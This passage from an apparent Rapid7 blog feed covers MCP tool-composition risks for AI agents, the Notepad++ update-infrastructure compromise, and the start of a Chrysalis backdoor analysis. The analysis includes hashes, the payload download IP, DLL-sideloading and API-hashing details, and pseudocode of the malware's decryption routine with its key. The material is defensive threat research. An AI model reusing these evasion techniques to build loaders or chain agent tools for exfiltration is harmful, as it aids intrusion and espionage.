There’s no mystery there (and that’s encouraging).</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Where the real risk builds: Composition</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The problem arises when those primitives are combined. Individually, most of the MCP servers we studied were low risk. But when orchestration enters the picture, the attack surface expands.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Some real-world examples we observed:</strong></span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>HTTP fetch + filesystem write = persistence or content injection</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Database query + orchestration = stealthy exfiltration</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Filesystem write + planning = poisoned output or config hijacking</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>HTTP + planning + execution = multi-stage agent attacks</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>These combinations reflect what adversaries already do in non-AI environments. MCP just reduces friction in putting the pieces together.</span></p><h2 style="direction: ltr;">A critical counterpoint: The 'best effort' reality</h2><p style="direction: ltr;">The focus on constraining the model via schema and architecture is essential for '<a href="https://www.rapid7.com/blog/post/2024/05/15/ai-trust-risk-and-security-management-why-tackle-them-now/"><span style='font-size: undefined;'>secure by design</span></a>,' yet a critical counterpoint must be considered as the industry evolves: We may not be able to stop many insecure AI applications (e.g., those built on architectures like OpenClaw or Claude Code) from shipping with insecure design choices. Similarly, the insecure design path for AI could force security teams to rely on non-deterministic, 'best effort' prompt injection defenses to prevent data exfiltration and remote code execution, rather than influencing developers toward inherently secure application design.</p><p style="direction: ltr;">While the secure boundary <em>is</em> the schema, and we must influence application developers to adopt secure-by-design principles, the future suggests there will be many cases where this influence fails. This means security leaders must also prepare for a hybrid reality of championing architectural security while also building and operating robust, best effort runtime defenses to manage the fallout from the inevitable wave of insecure AI applications.</p><h2 style="direction: ltr;">A shift in where security happens</h2><p style="direction: ltr;"><span style='font-size: undefined;'>As we embed AI deeper into operational systems, the control points change. Historically, we validated inputs at the UI layer, enforced roles through IAM, and wrapped logic in application code.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>With AI agents, those controls now live in:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>The orchestration layer</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Tool composition workflows</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Schema contracts</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Execution sandboxes</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>Security needs to follow the shift. That means auditing tool chains, setting strict schema policies, isolating execution contexts, and applying existing practices like least privilege and defense in depth to this new architecture.</span></p><h2 style="direction: ltr;">What security teams should do now</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Security and architecture leaders can start applying pressure in the right places today:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Map AI tooling to known primitives</strong></span><br/><span style='font-size: undefined;'>Don’t treat these systems as unknowns. Most expose capabilities like file handling, HTTP fetches, or basic shell commands - all of which are familiar territory for teams leveraging threat intelligence effectively.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Assess schema design before worrying about prompts</strong></span><br/><span style='font-size: undefined;'>The schema defines what tools the AI can call and how. Poorly scoped parameters, such as unbounded URLs or file paths, are far more dangerous than clever prompts.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Limit orchestration where possible</strong></span><br/><span style='font-size: undefined;'>Composability increases risk. If orchestration is required, monitor it like critical automation infrastructure.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Audit your environment for capability sprawl</strong></span><br/><span style='font-size: undefined;'>Look for AI-connected services that may expose multiple sensitive capabilities together. Risk scales when these tools are combined.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Apply existing enterprise controls</strong></span><br/><a href="https://www.rapid7.com/fundamentals/network-segmentation/" target="_self"><span style='font-size: undefined;'>Network segmentation</span></a><span style='font-size: undefined;'>, credential scoping, logging, and behavioral detections still work. Least privilege access is especially relevant in AI-integrated environments where tool chaining can escalate access unintentionally. AI requires adaptation, not reinvention.</span></p></li></ul><h2 style="direction: ltr;">Understanding the risk of AI without the hype</h2><p style="direction: ltr;"><span style='font-size: undefined;'>This blog condenses findings from my recent research, where I set out to answer a straightforward question: what are AI systems actually exposing in the real world today? Instead of relying on hypotheticals or fear-driven narratives, I looked at real, runnable Model Context Protocol (MCP) servers and measured their exposed capabilities and architectural design.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>If you're looking for the technical deep dive, including methodology, data sets, and schema-level breakdowns, you can read the original research published on </span><a href="https://hackernoon.com/everyone-says-ai-is-insecure-so-i-measured-it"><span style='font-size: undefined;'>HackerNoon</span></a><span style='font-size: undefined;'>. You can also explore more of our ongoing threat analysis and security research on the</span><a href="https://www.rapid7.com/research/"><span style='font-size: undefined;'> Rapid7 Research Hub.</span></a></p><p style="direction: ltr;"><span style='font-size: undefined;'>The bottom line: AI introduces complexity and scale, but the fundamental security principles remain the same. The real challenge is whether security teams can adapt traditional controls to new environments and influence developers toward inherently secure application design, rather than being forced to rely on non-deterministic, 'best effort' defenses like prompt injection mitigation.</span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/tr-measuring-ai-security-mcp-exposure</link>
      <guid isPermaLink="false">blt92219cb107d6fdf5</guid>
      <category><![CDATA[Artificial Intelligence]]></category>
      <category><![CDATA[Research]]></category><dc:creator><![CDATA[Christiaan Beek]]></dc:creator>
      <pubDate>Tue, 10 Feb 2026 18:00:00 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0b0762ca94c50b0b/6846a711eac0e395093e52e3/AI.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[Chrysalis, Notepad++, and Supply Chain Risk: What it Means, and What to Do Next]]></title>
      <description><![CDATA[<p style="direction: ltr;"><span style='font-size: undefined;'>When Rapid7 published its </span><a href="https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit/"><span style='font-size: undefined;'>analysis of the Chrysalis backdoor</span></a><span style='font-size: undefined;'> linked to a compromise of Notepad++ update infrastructure, it raised understandable questions from customers and security teams. The investigation showed that attackers did not exploit a flaw in the application itself. Instead, they compromised the hosting infrastructure used to deliver updates, allowing a highly targeted group to selectively distribute a previously undocumented backdoor associated with the Lotus Blossom APT.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Subsequent reporting from outlets including </span><a href="https://www.bleepingcomputer.com/news/security/notepad-plus-plus-update-feature-hijacked-by-chinese-state-hackers-for-months/"><span style='font-size: undefined;'>BleepingComputer</span></a><span style='font-size: undefined;'>, </span><a href="https://www.theregister.com/2026/02/02/notepad_plusplus_intrusion/"><span style='font-size: undefined;'>The Register</span></a><span style='font-size: undefined;'>, </span><a href="https://www.securityweek.com/notepad-supply-chain-hack-conducted-by-china-via-hosting-provider/"><span style='font-size: undefined;'>SecurityWeek</span></a><span style='font-size: undefined;'>, and </span><a href="https://thehackernews.com/2026/02/notepad-official-update-mechanism.html"><span style='font-size: undefined;'>The Hacker News</span></a><span style='font-size: undefined;'> has helped clarify the scope of the incident. What’s clear is that this was a supply chain attack against distribution infrastructure, not source code. The attackers maintained access for months, redirected update traffic selectively, and limited delivery of the Chrysalis payload to specific targets, helping them stay hidden and focused on espionage rather than mass compromise.</span></p><h2><span style='font-size: undefined;'>What does the Notepad++ incident mean?</span></h2><p style="direction: ltr;"><span style='font-size: undefined;'>This incident highlights how modern supply chain attacks have evolved. Rather than targeting application code, attackers abused shared hosting infrastructure and weaknesses in update verification to quietly deliver malware. The broader takeaway is that supply chain risk now extends well beyond build systems and repositories. Update mechanisms, hosting providers, and distribution paths have become attractive targets, especially when they sit outside an organization’s direct control.</span></p><h2><span style='font-size: undefined;'>Was Notepad++ itself compromised?</span></h2><p style="direction: ltr;"><span style='font-size: undefined;'>Based on public statements from the Notepad++ maintainer and independent reporting, there is no evidence that the application’s source code or core development process was compromised. The risk stemmed from the update delivery infrastructure, reinforcing that even trusted software can become a delivery mechanism when upstream systems are abused.</span></p><h2><span style='font-size: undefined;'>Who was behind the Chrysalis backdoor & Notepad++ attack?</span></h2><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 was the first to publish attribution linking this activity to Lotus Blossom, a Chinese state-aligned advanced persistent threat (APT) group. Based on our analysis, we assess with moderate confidence that this group is responsible for the Notepad++ infrastructure compromise and the deployment of the </span><a href="https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit/"><span style='font-size: undefined;'>Chrysalis backdoor.</span></a></p><p style="direction: ltr;"><span style='font-size: undefined;'>Lotus Blossom has been active since at least 2009 and is known for long-running espionage campaigns targeting government, telecommunications, aviation, critical infrastructure, and media organiations, primarily across Southeast Asia, and more recently, Latin America.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The tactics, tooling, and infrastructure used in this campaign - including the abuse of update infrastructure, the use of selective targeting, and the deployment of custom malware, are consistent with the group’s historical tradecraft. As with any attribution, this conclusion is based on observed behaviors and intelligence correlations, not a single, definitive indicator.</span></p><h2><span style='font-size: undefined;'>What should organizations do right now?</span></h2><p style="direction: ltr;"><span style='font-size: undefined;'>Based on what we know today, there are several immediate actions organizations should take:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Check and update Notepad++ installations.</strong></span><span style='font-size: undefined;'> Ensure any instances are running the latest version, which includes improved certificate and signature verification.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Review historical telemetry.</strong></span><span style='font-size: undefined;'> Even though attacker infrastructure has been taken down, organizations should scan logs and environments going back to </span><span style='font-size: undefined;'><strong>October 2025</strong></span><span style='font-size: undefined;'> for </span><a href="https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit/"><span style='font-size: undefined;'>indicators of compromise</span></a><span style='font-size: undefined;'> associated with this campaign.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Hunt, don’t just scan.</strong></span><span style='font-size: undefined;'> This activity was selective and low‑volume. Absence of alerts does not guarantee absence of compromise.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Use available intelligence.</strong></span><span style='font-size: undefined;'> Rapid7 Intelligence Hub customers have access to the Chrysalis campaign intelligence, along with follow‑up indicators provided by partners such as Kaspersky, to support targeted hunting across endpoints and network telemetry.</span></p></li></ul><h2><span style='font-size: undefined;'>Why does this matter beyond Notepad++?</span></h2><p style="direction: ltr;"><span style='font-size: undefined;'>This incident is a case study in how trust is exploited in modern environments. The attackers didn’t rely on zero days or noisy malware. They abused update workflows, hosting relationships, and assumptions about trusted software. That same approach applies across countless tools and platforms used daily inside enterprise environments.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>It also reinforces a broader trend we’ve seen over the last year: attackers are patient, selective, and focused on long‑term access rather than immediate impact. That has implications for detection strategies, incident response planning, and supply chain risk management.</span></p><h2><span style='font-size: undefined;'>What does this mean for software supply chain security?</span></h2><p style="direction: ltr;"><span style='font-size: undefined;'>For defenders, this incident reinforces several lessons:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Supply chain security must include distribution and hosting infrastructure, not just source code.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Update mechanisms should enforce strong signature and metadata validation by default.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Shared hosting environments represent an often overlooked risk, especially for widely deployed tools.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Trust in software must be continuously validated, not assumed.</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>The Chrysalis incident is not just about a single tool or a single campaign. It reflects a broader shift in how advanced threat actors think about access, persistence, and trust. Software supply chains are no longer just a development concern. They are an operational and security concern that extends into hosting providers, update mechanisms, and the assumptions organizations make about what is “safe.”</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>As attackers continue to favor selective targeting and long‑term access over noisy, large‑scale compromise, defenders need to adapt accordingly. That means moving beyond basic scanning, validating trust continuously, and treating update and distribution infrastructure as part of the attack surface.</span></p><h2><span style='font-size: undefined;'>Learn more: Watch the full Chrysalis debrief webinar</span></h2><p style="direction: ltr;"><span style='font-size: undefined;'>If you’d like to hear directly from the researchers behind this discovery, watch the full </span><a href="https://www.brighttalk.com/webcast/10457/661975?utm_source=blog&amp;utm_medium=webcast&amp;utm_content=blog-2-chrysalis-registration&amp;utm_campaign=global-mdr-2026-q1-webinar-prospect-eng" target="_blank"><span style='font-size: undefined;'>Chrysalis: Inside the Supply Chain Compromise of Notepad++ webinar</span></a><span style='font-size: undefined;'>, now available on BrightTALK. In this detailed session, Christian Beek (Senior Director, Threat Analytics) and Steve Edwards (Director, Threat Intel & Detection Engineering) walk through the full attack chain, from initial compromise to malware behavior, attribution to Lotus Blossom, and what organizations can do right now to assess exposure and strengthen supply chain security. [</span><a href="https://www.brighttalk.com/webcast/10457/661975?utm_source=blog&amp;utm_medium=webcast&amp;utm_content=blog-2-chrysalis-registration&amp;utm_campaign=global-mdr-2026-q1-webinar-prospect-eng" target="_blank"><span style='font-size: undefined;'>Watch Now]</span></a><span style='font-size: undefined;'></span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/tr-chrysalis-notepad-supply-chain-risk-next-steps</link>
      <guid isPermaLink="false">blt5386b3de6eafc661</guid>
      <category><![CDATA[Emerging Threats]]></category>
      <category><![CDATA[Threat Intel]]></category>
      <category><![CDATA[Research]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Thu, 05 Feb 2026 15:00:00 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt62de3c632e7d1ef7/6984a555a6b5ef052cb93196/Chrysalis-backdoor-blog.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[The Chrysalis Backdoor: A Deep Dive into Lotus Blossom’s toolkit]]></title>
      <description><![CDATA[<p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 Labs, together with the Rapid7 MDR team, has uncovered a sophisticated campaign attributed to the Chinese APT group Lotus Blossom. Active since 2009, the group is known for its targeted espionage campaigns primarily impacting organizations across Southeast Asia and more recently Central America, focusing on government, telecom, aviation, critical infrastructure, and media sectors.</span></p><p style="direction: ltr;"><span style='color:rgb(68, 71, 70);font-size: undefined;'>Our investigation identified a security incident stemming from a sophisticated compromise of the infrastructure hosting Notepad++, which was subsequently used to deliver a previously undocumented custom backdoor</span><span style='font-size: undefined;'>, which we have dubbed </span><span style='font-size: undefined;'><span data-type='inlineCode'>Chrysalis</span></span><span style='font-size: undefined;'>.</span></p><p>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt78d5255e4bec3077/6980bb18831fe853231a96c6/lotus-blossom-telemetry.jpg" alt="lotus-blossom-telemetry.jpg" caption="Figure 1: Telemetry on the custom backdoor samples" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="lotus-blossom-telemetry.jpg" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt78d5255e4bec3077/6980bb18831fe853231a96c6/lotus-blossom-telemetry.jpg" data-sys-asset-uid="blt78d5255e4bec3077" data-sys-asset-filename="lotus-blossom-telemetry.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 1: Telemetry on the custom backdoor samples" data-sys-asset-alt="lotus-blossom-telemetry.jpg" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 1: Telemetry on the custom backdoor samples</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>Beyond the discovery of the new implant, forensic evidence led us to uncover several custom loaders in the wild. One sample, </span><span style='font-size: undefined;'><em>“ConsoleApplication2.exe”</em></span><span style='font-size: undefined;'>, stands out for its use of Microsoft Warbird, a complex code protection framework, to hide shellcode execution. This blog provides a deep technical analysis of Chrysalis, the Warbird loader, and the broader tactic of mixing straightforward loaders with obscure, undocumented system calls.</span></p><h2>Initial access vector: Notepad++ and update.exe</h2><p style="direction: ltr;">Forensic analysis conducted by the MDR team suggests that the initial access vector aligns with publicly disclosed abuse of the Notepad++ distribution infrastructure. While <a href="https://notepad-plus-plus.org/news/hijacked-incident-info-update/"><span style='font-size: undefined;'>reporting</span></a> references both plugin replacement and updater-related mechanisms, no definitive artifacts were identified to confirm exploitation of either. The only confirmed behavior is that execution of <em>“notepad++.exe”</em> and subsequently <em>“GUP.exe”</em> preceded the execution of a suspicious process <em>“update.exe”</em> which was downloaded from 95.179.213.0.</p><h2>Analysis of update.exe</h2><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd4fbd1b5b4e1bd25/6980bb9d090b8315c274c37c/lotus-blossom-execution-diagram-of-update-exe.png" alt="lotus-blossom-execution-diagram-of-update-exe.png" caption="Figure 2: Execution diagram of update.exe" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="lotus-blossom-execution-diagram-of-update-exe.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd4fbd1b5b4e1bd25/6980bb9d090b8315c274c37c/lotus-blossom-execution-diagram-of-update-exe.png" data-sys-asset-uid="bltd4fbd1b5b4e1bd25" data-sys-asset-filename="lotus-blossom-execution-diagram-of-update-exe.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 2: Execution diagram of update.exe" data-sys-asset-alt="lotus-blossom-execution-diagram-of-update-exe.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 2: Execution diagram of update.exe</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>Analysis of</span><span style='font-size: undefined;'><em> “update.exe”</em></span><span style='font-size: undefined;'> shows the file is actually an NSIS installer, a tool commonly used by </span><a href="https://www.rapid7.com/blog/post/2025/05/22/nsis-abuse-and-srdi-shellcode-anatomy-of-the-winos-4-0-campaign/"><span style='font-size: undefined;'>Chinese APT</span></a><span style='font-size: undefined;'> to deliver initial payload.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The following are the extracted NSIS installer files:</span></p><h4><span style='font-size: undefined;'>[NSIS].nsi</span></h4><ul><li><strong>Description:</strong> NSIS Installation script</li><li><strong>SHA-256: </strong>8ea8b83645fba6e23d48075a0d3fc73ad2ba515b4536710cda4f1f232718f53e</li></ul><h4>BluetoothService.exe</h4><ul><li><p style="direction: ltr;"><strong>Description:</strong> renamed Bitdefender Submission Wizard used for DLL sideloading</p></li><li><strong>SHA-256: </strong>2da00de67720f5f13b17e9d985fe70f10f153da60c9ab1086fe58f069a156924</li></ul><h4>BluetoothService</h4><ul><li><strong>Description: </strong>Encrypted shellcode</li><li><strong>SHA-256: </strong>77bfea78def679aa1117f569a35e8fd1542df21f7e00e27f192c907e61d63a2e</li></ul><h4>log.dll</h4><ul><li><strong>Description: </strong>Malicious DLL sideloaded by BluetoothService.exe</li><li><strong>SHA-256: </strong>3bdc4c0637591533f1d4198a72a33426c01f69bd2e15ceee547866f65e26b7ad</li></ul><p style="direction: ltr;">⠀</p><p><span style='font-size: undefined;'>Installation script is instructed to create a new directory </span><span style='font-size: undefined;'><em>“Bluetooth”</em></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>in </span><span style='font-size: undefined;'><em>“%AppData%”</em></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>folder, copy the remaining files there, change the attribute of the directory to </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>HIDDEN</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>and execute </span><span style='font-size: undefined;'><span data-type='inlineCode'><em>BluetoothService.exe</em></span></span><span style='font-size: undefined;'><em>.</em></span></p><h3>DLL sideloading</h3><p style="direction: ltr;"><span style='font-size: undefined;'>Shortly after the execution of </span><span style='font-size: undefined;'><span data-type='inlineCode'><em>BluetoothService.exe</em></span></span><span style='font-size: undefined;'>,</span><span style='font-size: undefined;'><em> </em></span><span style='font-size: undefined;'>which is actually a renamed legitimate </span><span style='font-size: undefined;'><span data-type='inlineCode'><em>Bitdefender Submission Wizard</em></span></span><span style='font-size: undefined;'> abused for </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>DLL sideloading</strong></span></span><span style='font-size: undefined;'>, a malicious </span><span style='font-size: undefined;'><span data-type='inlineCode'><em>log.dll</em></span></span><span style='font-size: undefined;'> was placed alongside the executable, causing it to be loaded instead of the legitimate library. Two exported functions from </span><span style='font-size: undefined;'><span data-type='inlineCode'><em>log.dll</em></span></span><span style='font-size: undefined;'> are called by </span><span style='font-size: undefined;'><span data-type='inlineCode'><em>Bitdefender Submission Wizard</em></span></span><span style='font-size: undefined;'>: </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>LogInit</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>and </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>LogWrite</strong></span></span><span style='font-size: undefined;'>.</span></p><h3>LogInit and LogWrite - Shellcode load, decrypt, execute</h3><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'><strong>LogInit</strong></span></span><span style='font-size: undefined;'> loads </span><span style='font-size: undefined;'><span data-type='inlineCode'><em>BluetoothService</em></span></span><span style='font-size: undefined;'><em> </em></span><span style='font-size: undefined;'>into the memory of the running process.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'><strong>LogWrite</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>has a more sophisticated goal – to decrypt and execute the shellcode.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The decryption routine implements a custom runtime decryption mechanism used to unpack encrypted data in memory. It derives key material from previously calculated hash value and applies a stream‑cipher–like algorithm rather than standard cryptographic APIs. At a high level, the decryption routine relies on a linear congruential generator, with the standard constants </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>0x19660D</strong></span></span><span style='font-size: undefined;'> and </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>0x3C6EF35F</strong></span></span><span style='font-size: undefined;'>, combined with several basic data transformation steps to recover the plaintext payload.</span></p><p><span style='font-size: undefined;'>Once decrypted, the payload replaces the original buffer and all temporary memory is released. Execution is then transferred to this newly decrypted stage, which is treated as executable code and invoked with a predefined set of arguments, including runtime context and resolved API information.</span></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt17e6d0b98986647a/6980bcf7c302595bc9cb786f/lotus-blossom-LogWrite-internals.png" alt="lotus-blossom-LogWrite-internals.png" caption="Figure 3: LogWrite internals" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="lotus-blossom-LogWrite-internals.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt17e6d0b98986647a/6980bcf7c302595bc9cb786f/lotus-blossom-LogWrite-internals.png" data-sys-asset-uid="blt17e6d0b98986647a" data-sys-asset-filename="lotus-blossom-LogWrite-internals.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: LogWrite internals" data-sys-asset-alt="lotus-blossom-LogWrite-internals.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 3: LogWrite internals</figcaption></div></figure><h3>IAT resolution</h3><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'><strong>Log.dll</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>implements an API hashing subroutine to resolve required APIs during execution, reducing the likelihood of detection by antivirus and other security solutions.</span></p><h3>API hashing subroutine</h3><p style="direction: ltr;"><span style='font-size: undefined;'>The hashing algorithm will hash export names using </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>FNV‑1a</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>(fnv-1a hash 0x811C9DC5, fnv-1a prime 0x1000193 observed), then apply a </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>MurmurHash‑style avalanche finalizer</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>(murmur constant 0x85EBCA6B observed), and compare the result to a salted target hash.</span></p><h2 style="direction: ltr;">Analysis of the Chrysalis backdoor</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The shellcode, once decrypted by </span><span style='font-size: undefined;'><span data-type='inlineCode'><em>log.dll</em></span></span><span style='font-size: undefined;'><em>,</em></span><span style='font-size: undefined;'> is a custom, feature-rich backdoor we've named “</span><span style='font-size: undefined;'><em>Chrysalis</em></span><span style='font-size: undefined;'>”. Its wide array of capabilities indicates it is a sophisticated and permanent tool, not a simple throwaway utility. It uses legitimate binaries to sideload a crafted DLL with a generic name, which makes simple filename-based detection unreliable. It relies on custom API hashing in both the loader and the main module, each with its own resolution logic. This is paired with layered obfuscation and a fairly structured approach to C2 communication. Overall, the sample looks like something that has been actively developed over time, and we’ll be keeping an eye on this family and any future variants that show up.</span></p><h3>Decryption of the main module</h3><p><span style='font-size: undefined;'>Once the execution is passed to decrypted shellcode from </span><span style='font-size: undefined;'><span data-type='inlineCode'><em>log.dll</em></span></span><span style='font-size: undefined;'><em>,</em></span><span style='font-size: undefined;'> malware starts with decryption of the main module via a simple combination of XOR, addition and subtraction operations, with a hardcoded key </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>gQ2JR&9;</strong></span></span><span style='font-size: undefined;'>. See below the p</span>seudocode of decryption routine:</p><p style="direction: ltr;">⠀</p><pre language="cpp">char XORKey[8] = "gQ2JR&9;";
DWORD counter = 0;
DWORD pos = BufferPosition;

while (counter &lt; size) {
    BYTE k = XORKey[counter & 7];
    BYTE x = encrypted[pos];

    x = x + k;
    x = x ^ k;
    x = x - k;

    decrypted[pos] = x;

    pos++;
    counter++;
}</pre><p style="direction: ltr;">⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>XOR operation is performed 5 times in total, suggesting a section layout similar to PE format. Following the decryption, malware will proceed to yet another dynamic IAT resolution using </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>LoadLibraryA</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>to acquire a handle to </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>Kernel32.dll</strong></span></span><span style='font-size: undefined;'> and </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>GetProcAddress</strong></span></span><span style='font-size: undefined;'>. Once exports are resolved, the jump is taken to the main module.</span></p><h3 style="direction: ltr;">Main module</h3><p style="direction: ltr;"><span style='font-size: undefined;'>The decrypted module is a reflective </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>PE-like</strong></span></span><span style='font-size: undefined;'> module that executes the </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>MSVC CRT</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>initialization sequence before transferring control to the program’s main entry point. Once in the Main function, the malware will dynamically load DLLs in the following order: </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>oleaut32.dll</strong></span></span><span style='font-size: undefined;'>, </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>advapi32.dll</strong></span></span><span style='font-size: undefined;'>, </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>shlwapi.dll</strong></span></span><span style='font-size: undefined;'>, </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>user32.dll</strong></span></span><span style='font-size: undefined;'>, </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>wininet.dll</strong></span></span><span style='font-size: undefined;'>,</span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>ole32.dll</strong></span></span><span style='font-size: undefined;'> and </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>shell32.dll</strong></span></span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Names of targeted DLLs are constructed on the run, using two separate subroutines. These two subroutines implement a custom, position-dependent character obfuscation scheme. Each character is transformed using a combination of bit rotations, conditional XOR operations, and index-based arithmetic, ensuring that identical characters encrypt differently depending on their position. The second routine reverses this process at runtime, reconstructing the original plaintext string just before it is used. The purpose of these two functions is not only to conceal strings, but also to intentionally complicate static analysis and hinder signature-based detection.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>After the DLL name is reconstructed, the Main module implements another, more sophisticated API hashing routine.</span></p><h3 style="direction: ltr;">API hashing subroutine</h3><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt47a4d3aa70f2644b/6980beba4551a4a087ba56d2/lotus-blossom-API-hashing-diagram.jpg" alt="lotus-blossom-API-hashing-diagram.jpg" caption="Figure 4: API hashing diagram" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="lotus-blossom-API-hashing-diagram.jpg" style="width: auto" 